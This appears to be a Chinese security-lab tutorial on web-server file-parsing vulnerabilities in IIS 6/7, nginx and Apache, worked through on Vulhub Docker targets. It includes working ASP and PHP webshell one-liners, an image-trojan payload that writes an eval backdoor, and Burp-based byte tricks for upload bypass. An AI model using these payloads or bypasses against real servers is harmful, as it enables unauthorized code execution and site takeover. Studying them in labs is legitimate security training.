当前位置: 首页 > article >正文

文件解析漏洞

IIS解析漏洞

IIS6.X

#环境
Windows Server 2003

在iis6.x中,.asp文件夹中的任意文件都会被当做asp文件去执行

在默认网站里创建一个a.asp文件夹并创建一个1.jpg写进我们的asp代码

<%=now()%>
#asp一句话
<%eval request("h")%>

单独创建一个1.jpg发现并不能解析

在a.asp下被解析

在IIS 6 处理文件解析时,分号可以起到截断的效果。也就是说 shell.asp;.jpg会被服务器看成是

shell.asp。另外IIS6.0默认的可执行文件除了asp还包含 asa\cer\cdx

IIS7.X

在IIS7.0和IIS7.5版本下也存在解析漏洞,在默认Fast-CGI开启状况下,在⼀个文件路径/xx.jpg

后面加上/xx.php会将 /xx.jpg/xx.php 解析为 php 文件。

php.ini里的cgi.fix_pathinfo=1 开启

IIS7在Fast-CGI运行模式下

#环境
PHPstudy for IIS

配置 php.ini 文件,将 cgi.fix_pathinfo=1 注释取消掉;并重启

IIS -->配置网站-->处理程序映射-->PHPStudy_FastCGI -->请求限制 -->取消勾

然后在网站下创建我们的shell;并命名为1.jpg

去网站访问他

加上/.php就可以被解析为php文件

蚁剑连接一下

nginx解析漏洞

Vulhub靶场nginx

nginx_parsing

Nginx的文件解析漏洞...和IIS7.0的解析漏洞同样的原理,因为 cgi.fix_pathinfo=1 造成的解析漏洞

使用 1.jpg/.php 方式进行绕过

搭建doker容器

#搭建docker容器
yum install docker
yum install docker-compose
#确认是否安装成功
docker -v
#搭建Vulhub靶场
git clone https://github.com/vulhub/vulhub.git

搭好Vulhub靶场后

cd vulhub/nginx/nginx_parsing_vulnerability/
docker-compose up -d
#查看端口
docker ps

上传我们的图片马

获取路径后

去访问我们的图片马并在后面加上/.php

蚁剑测试连接

Vulhub靶场CVE-2013-4547x

#启动靶场
cd vulhub-master/nginx/CVE-2013-4547x //切换到靶机目录 
docker-compose build //创建环境
docker-compose up -d //打开环境

创建好后打开我们的靶场上传一张图片马

GIF89a
<?php fputs(fopen('h.php','w'),'<?php @eval($_POST["cmd"]);?>'); ?>

上传的时候打开我们的BP进行抓包

在文件名后写上

空格空格.php

并在hex处修改0x20 0x20把最后一个空格换成0x00;然后放行

我们去访问他

发现我们访问不进去这时候就用到我们BP再次抓包进行修改

去Hex把20改回我们的00

就能访问到我们的木马,但是这并不是我们木马的路径,用蚁剑连是连不上的

我们的代码会生成一个一句话我们去连接他就可以了

Apache解析漏洞

Vulhub靶场apache

apache_parsing

Apache HTTPD 支持⼀个文件拥有多个后缀,并为不同后缀执行不同的指令

在Apache1.x/2.x中Apache 解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,

就再往左判断。如 1.php.xxxxx

#搭建靶场
cd /vulhub/httpd/apache_parsing_vulnerability
docker-compose up -d
docker ps -a

无论我们的php在哪都会解析我们文件里的php代码

GIF89a
<?php fputs(fopen('h.php','w'),'<?php @eval($_POST["cmd"]);?>'); ?>

访问一下我们上传的文件

去访问一下h.php也是成功了

Vulhub靶场CVE-2017-15715

#搭建靶场
cd /Vulnhub/vulhub-master/httpd/CVE-2017-15715
docker-compose up -d

Apache HTTPD是⼀款HTTP服务器,它可以通过mod_php来运行PHP网页。其2.4.0~2.4.29版本中存

在⼀个解析漏洞,在解析PHP时,1.php\x0A将被按照PHP后缀进行解析,导致绕过⼀些服务器的安全

策略。

来到首页,上传文件会被拦截

BP抓一下包,在文件名后加一个空格;并把0x20改成0x0a

放行就成功上传;去访问一下我们的一句话


http://www.kler.cn/a/446913.html

相关文章:

  • Mybatis中使用MySql触发器报错:You have an error in your SQL syntax; ‘DELIMITER $$
  • (14)D-FINE网络,爆锤yolo系列
  • 基于 Python 解决 X 轴上点距离最小值问题
  • 多智能体/多机器人网络中的图论法
  • CPU性能优化--函数分组
  • 数据分析实战—鸢尾花数据分类
  • 使用 Dash 构建交互式数据可视化应用
  • Android -- 双屏异显之方法二
  • 从代币角度介绍solana账户体系
  • leetcode之hot100---54螺旋矩阵(C++)
  • 华为OD --- 流浪地球
  • Golang uint 类型溢出问题
  • LLaMA-Factory 单卡3080*2 deepspeed zero3 微调Qwen2.5-7B-Instruct
  • 2023年西南大学数学建模C题天气预报解题全过程文档及程序
  • 多态中虚函数调用问题
  • jvm栈帧结构
  • 前端关于pptxgen.js个人使用介绍
  • Linux setfacl 命令详解
  • STM32 高级 物联网通信之CAN通讯
  • 华为笔记本之糟糕的体验
  • 鸿蒙项目云捐助第十四讲云函数的初步使用
  • MFC/C++学习系列之简单记录5
  • c++数据结构算法复习基础--12--排序算法-常见笔试面试问题
  • go 适配windows和linux获取文件创建时间的方法(跨平台的方法不一致的解决问题)
  • RabbitMQ如何构建集群?
  • 华为云检查服务器状态